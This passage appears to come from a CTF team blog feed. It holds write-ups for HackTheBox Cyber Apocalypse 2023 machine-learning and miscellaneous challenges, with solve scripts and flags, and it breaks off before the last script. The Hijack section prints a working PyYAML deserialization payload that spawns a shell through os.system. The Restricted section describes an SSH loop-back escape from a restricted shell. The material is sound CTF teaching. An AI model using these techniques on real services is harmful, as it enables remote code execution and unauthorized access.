&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">binary_str&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">most_frequent_bitstring&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">byte_array&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">binary_str&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">binary_str&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Convert each byte to its corresponding character using the int() and chr() functions&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">byte&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">byte&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">byte_array&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Flag:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{a_gl1mps3_0f_h0p3}&lt;/strong>&lt;/p>
&lt;h2 id="on-the-rescue">On The Rescue&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/13cI2b3Slewv9u7y8ZCIi4Vjfb-HL4_Ye?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The archeologist finally found the ancient vessel. Utilizing the alien technology he managed to breach in the central computational unit and learn the reason behind their visit on Earth millions of years ago. A message appeared. It was all a desperate plan for the survival of their kind.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Machine Learning&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The challenge presented a simple &lt;strong>Bigram Language Model&lt;/strong>, which is a basic character-level language model that predicts the next character based on the current character. We were given the model&amp;rsquo;s architecture &lt;strong>architecture.py&lt;/strong> and a pre-trained model file &lt;strong>bigram_model.pt&lt;/strong>. The objective was to generate a text that could help us understand the aliens&amp;rsquo; message.The solve script is provided below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">torch&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">architecture&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">BigramLanguageModel&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">vocab&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">text_to_idx&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">torch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">tensor&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">vocab&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">index&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">idx_to_text&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">idx&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">vocab&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">idx&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">generate_text&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">initial_text&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">generated_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">initial_text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">input_idx&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">text_to_idx&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">generated_text&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">input_idx&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">input_idx&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">unsqueeze&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">device&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">logits&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">model&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input_idx&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">next_token_idx&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">torch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argmax&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">logits&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dim&lt;/span>&lt;span class="o">=-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">item&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">generated_text&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">vocab&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">next_token_idx&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">generated_text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Load the pretrained model&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model_path&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;bigram_model.pt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">BigramLanguageModel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">vocab&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load_state_dict&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">torch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">model_path&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eval&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">device&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">torch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">device&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;cuda&amp;#34;&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="n">torch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cuda&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_available&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="s2">&amp;#34;cpu&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">device&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Generate text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">initial_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">length&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">generated_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">generate_text&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">initial_text&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">generated_text&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To solve the challenge, we first created utility functions to convert text to index and index to text. Then, we wrote a function generate_text that takes the model, an initial text, and the desired length of the generated text. The function generates text by iteratively feeding the last character of the generated text to the model and appending the predicted character to the generated text.&lt;/p>
&lt;p>We loaded the pre-trained model and moved it to the appropriate device (GPU or CPU). Finally, we generated text using the generate_text function with an initial text and a specified length, and printed the resulting text.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{Pr0t3c7_L1fe}&lt;/strong>&lt;/p></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Miscellaneous</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-misc/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-misc/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/misc/">misc&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#persistence">Persistence&lt;/a>&lt;/li>
&lt;li>&lt;a href="#hijack">Hijack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#restricted">Restricted&lt;/a>&lt;/li>
&lt;li>&lt;a href="#remote-computation">Remote computation&lt;/a>&lt;/li>
&lt;li>&lt;a href="#janken">Janken&lt;/a>&lt;/li>
&lt;li>&lt;a href="#nehebkaus-trap">nehebkaus trap&lt;/a>&lt;/li>
&lt;li>&lt;a href="#the-chasms-crossing-conundrum">The Chasm&amp;rsquo;s Crossing Conundrum&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="persistence">Persistence&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it&amp;rsquo;s broken and usually returns random data, but keep trying, and you might get lucky&amp;hellip; Legends say it works once every 1000 tries.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a website to work with. Initially, connection to the website would result in &lt;strong>&amp;ldquo;404 Not Found&amp;rdquo;&lt;/strong>. I then went to read the descriptions, and from it, I got to know that we should send at least &lt;strong>1000 GET requests&lt;/strong> to &lt;code>/flag&lt;/code> to maybe get the flag.&lt;/p>
&lt;p>I used this below Python script to automate the task.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;http://64.227.41.83:30380/flag&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10000&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">content&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">content&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;HTB{&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">content&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">content&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After a short wait, we got the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{y0u_h4v3_p0w3rfuL_sCr1pt1ng_ab1lit13S!}&lt;/strong>&lt;/p>
&lt;h2 id="hijack">Hijack&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: The security of the alien spacecrafts did not prove very robust, and you have gained access to an interface allowing you to upload a new configuration to their ship&amp;rsquo;s Thermal Control System. Can you take advantage of the situation without raising any suspicion?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s try to connect to the challenge instance.&lt;/p>
&lt;img src="hijack1.png" alt="Solved" width="1000"/>
&lt;p>And let&amp;rsquo;s try to test out those options.&lt;/p>
&lt;img src="hijack2.png" alt="Demo" width="1000"/>
&lt;p>&lt;code>ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxNScsIGF1dG9fY2FsaWJyYXRpb246ICdvbicsCiAgcHJvcHVsc2lvbl90ZW1wOiAnMzQzNCcsIHNvbGFyX2FycmF5X3RlbXA6ICcxMicsIHVuaXRzOiBmfQo=&lt;/code>&lt;/p>
&lt;p>The function in question generates a base64 encoded string representing a serialized object. To provide some context, serialization is the process of storing an object, such as an array or class, in a database for later retrieval. When the application needs to access the object, it unserializes it, or loads it from the database using a function. This can improve the efficiency of Object-Oriented Programming.&lt;/p>
&lt;p>It is important to note, however, that serialized objects should not be vulnerable to manipulation by users. If a user creates a malicious object, it could execute unwanted code. This challenge illustrates this point by presenting us with a serialized object and its corresponding base64 encoding. This is just one example of how serialized objects can be used, and it is essential to be aware of their potential risks.&lt;/p>
&lt;p>Let&amp;rsquo;s take a look at the next options. The application is requesting a base64 encoded string of a serialized object.&lt;/p>
&lt;img src="hijack3.png" alt="Demo" width="1000"/>
&lt;p>Upon examining the serialized object provided by the application, I have determined that it is a YAML-formatted Python serialized object. This &lt;a href="https://net-square.com/yaml-deserialization-attack-in-python.html" target="_blank" rel="noopener">article&lt;/a> serves as an excellent illustration of how attackers can leverage YAML-based exploits to execute arbitrary code.&lt;/p>
&lt;p>Here is the script to generate a serialized object.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">yaml&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Test&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">object&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__reduce__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">system&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;sh&amp;#39;&lt;/span>&lt;span class="p">,))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">serialized_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">yaml&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dump&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Test&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># serializing data&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64encode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">serialized_data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s grab the result and throw it to the application.&lt;/p>
&lt;img src="hijack4.png" alt="Demo" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}&lt;/strong>&lt;/p>
&lt;h2 id="restricted">Restricted&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1bu8crqTZ-PEVLRN5Dk6OhVWADcZIoYw3/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You &amp;rsquo;re still trying to collect information for your research on the alien relic. Scientists contained the memories of ancient egyptian mummies into small chips, where they could store and replay them at will. Many of these mummies were part of the battle against the aliens and you suspect their memories may reveal hints to the location of the relic and the underground vessels. You managed to get your hands on one of these chips but after you connected to it, any attempt to access its internal data proved futile. The software containing all these memories seems to be running on a restricted environment which limits your access. Can you find a way to escape the restricted environment?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are provided with a server and it&amp;rsquo;s source. From the source, we know that it is a &lt;strong>SSH server&lt;/strong>.&lt;/p>
&lt;p>One thing particular about this server is that, if the username is &lt;strong>restricted&lt;/strong>, we will not need to provide a password to authenticate, but the user will be in restricted shell mode.&lt;/p>
&lt;img src="misc1.png" alt="dnSpy" width="1000"/>
&lt;p>To cope with this, we can use a trick called &lt;strong>SSH self loop-back&lt;/strong>, which means we initiate a SSH connection inside a SSH, since restricted shell doesn&amp;rsquo;t prevent us from using SSH commands.&lt;/p>
&lt;p>First, we connect to the SSH server using the username &lt;strong>restricted&lt;/strong>.&lt;/p>
&lt;img src="misc2.png" alt="dnSpy" width="1000"/>
&lt;p>From the source, we also know that the exposed port is &lt;strong>1337&lt;/strong>. Then, we can use SSH self loop-back to have the permission to use cat, since we also know that &lt;code>flag.txt&lt;/code> is changed to &lt;code>flag_*&lt;/code> (with * represents some random bytes) and lies in plainsight.&lt;/p>
&lt;img src="misc3.png" alt="dnSpy" width="1000"/>
&lt;img src="misc5.png" alt="dnSpy" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{r35tr1ct10n5_4r3_p0w3r1355}&lt;/strong>&lt;/p>
&lt;h2 id="remote-computation">Remote computation&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The alien species use remote machines for all their computation needs. Pandora managed to hack into one, but broke its functionality in the process. Incoming computation requests need to be calculated and answered rapidly, in order to not alarm the aliens and ultimately pivot to other parts of their network. Not all requests are valid though, and appropriate error messages need to be sent depending on the type of error. Can you buy us some time by correctly responding to the next 500 requests?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The program asked us to calculate 500 math expressions with the following conditions.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Results
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">---
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">All results are rounded
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">to 2 digits after the point.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ex. 9.5752 -&amp;gt; 9.58
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Error Codes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">---
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* Divide by 0:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">This may be alien technology,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">but dividing by zero is still an error!
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Expected response: DIV0_ERR
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* Syntax Error
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Invalid expressions due syntax errors.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ex. 3 +* 4 = ?
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Expected response: SYNTAX_ERR
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* Memory Error
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The remote machine is blazingly fast,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">but its architecture cannot represent any result
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">outside the range -1337.00 &amp;lt;= RESULT &amp;lt;= 1337.00
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Expected response: MEM_ERR
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At first I tried to round the numbers the mathematical way but then I realised the remote server was using the &lt;code>round()&lt;/code> function of python the whole time.&lt;/p>
&lt;p>So yeah here&amp;rsquo;s the solve script.&lt;/p>
